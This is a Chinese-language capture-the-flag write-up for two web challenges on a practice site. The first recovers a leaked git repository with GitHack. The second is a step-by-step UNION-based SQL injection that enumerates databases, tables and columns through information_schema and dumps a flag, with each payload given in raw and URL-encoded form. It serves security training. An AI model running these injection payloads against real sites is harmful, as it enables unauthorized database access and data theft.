# https://buuoj.cn CTF練習網站
### WEB題目
使用工具 githack
下載位置 https://github.com/lijiejie/GitHack
使用條件 python
==============================================
題目
##### [第一章 web入门]粗心的小李
==============================================

==============================================
#解法
解壓縮抓回來的github工具後,利用工具破解

然後下指令!!即可爆破html

然後在到爆破中的html查看
即可看到flag

===============================================
==============================================
題目
##### [第一章 web入门]SQL注入-1
==============================================


登入頁面後只會看到網站說明

更換他的id值!!出現的東西也會不同

在id=3時,會看到提示 可加入&tips=1語法

這時候會看到select語法出現
代表id後面可利用SQL語法 '斷開SQL語言
輸入注入點,-1' union select 1,2,3--+,可看看是否可以SQL Inject

發現有SQL inject的問題後,繼續填寫 -1' union select 1,2,group_concat(schema_name) from information_schema.schemata# 查詢資料庫內容
不過要轉換html語言-1%27%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%23
(group_concat(schema_name) from information_schema.schemata)這個語法為mysql查詢資料庫函數

然後查詢出資料庫名稱有information_schema,mysql,note,performance_schema這幾個
在輸入 -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='note' #
轉換成html語言為
-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables where table_schema='note'%23

查出fl4g,notes這個資料表
然後在查看這個資料表內容
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g' #
轉換html語言
-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns where table_name='fl4g'%23

查出資料內容fllllag
繼續在讀資料內容
-1' union select 1,2,group_concat(concat_ws(0x23,fllllag)) from note.fl4g #
concat_ws()函數,表示concat with separator,即有分隔符的字符串連
轉換html語言

Game Over